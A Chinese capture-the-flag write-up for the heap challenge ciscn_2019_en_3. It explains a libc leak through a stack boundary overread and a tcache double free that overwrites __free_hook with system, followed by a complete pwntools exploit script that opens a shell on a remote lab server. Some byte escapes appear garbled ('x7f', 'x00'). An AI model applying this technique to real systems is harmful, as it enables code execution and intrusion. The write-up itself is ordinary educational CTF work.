ciscn_2019_en_3 tcache ciscn_2019_en_3

安全检查

ciscn_2019_en_3 tcache
ciscn_2019_en_3

 程序流程

开头,刚开始以为可以格式化字符串漏洞,但不能直接显示第几个参数,不过看了师傅的write up后,发现不仅要留意程序的堆情况,栈情况也需要留意,这里可以溢出

ciscn_2019_en_3 tcache
ciscn_2019_en_3

add函数,单字节溢出

ciscn_2019_en_3 tcache
ciscn_2019_en_3

edit和show函数都是假的

delete函数,有uaf漏洞

ciscn_2019_en_3 tcache
ciscn_2019_en_3

 漏洞分析

  1. 程序开头没有检查边界,所以read函数,可以puts溢出,发现setbuffer+231就在s之后,由此泄露libc
  2. 利用uaf达到double free,将next指针指向free_hook,进行劫持,变为system的函数

exp:

 1 from pwn import *
 2 context.log_level = 'debug'
 3 #p=process('./ciscn_2019_en_3')
 4 p=remote('node3.buuoj.cn',27610)
 5 elf=ELF('./ciscn_2019_en_3')
 6 libc=ELF('libc-2.27.so')
 7 
 8 def add(size,story):
 9     p.sendlineafter('choice:','1')
10     p.sendlineafter('story:',str(size))
11     p.sendlineafter('story:',story)
12 
13 def edit():
14     p.sendlineafter('choice:','2')
15 
16 def show():
17     p.sendlineafter('choice:','3')
18 
19 def delete(idx):
20     p.sendlineafter('choice:','4')
21     p.sendlineafter('index:',str(idx))
22 
23 p.recvuntil("What's your name?")
24 p.sendline('pppp')
25 p.recvuntil('Please input your ID.')
26 p.sendline('pppppppp')
27 
28 setbuff=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-231
29 libc_base=setbuff-libc.symbols['setbuffer']
30 system_addr=libc_base+libc.symbols['system']
31 free_addr=libc_base+libc.symbols['__free_hook']
32 
33 print(hex(libc_base))
34 print(hex(setbuff))
35 
36 add(0x60,'pppp')
37 add(0x60,'/bin/shx00')
38 delete(0)
39 delete(0)
40 
41 add(0x60,p64(free_addr))
42 add(0x60,'pppp')
43 
44 print(hex(free_addr))
45 #gdb.attach(p)
46 add(0x60,p64(system_addr))
47 #gdb.attach(p)
48 #delete(1)
49 
50 p.interactive()

注意事项:不要只看堆,也要看各个变量的情况,比如这次就是栈的边界溢出,泄露了libc,所以得加强对程序的理解才行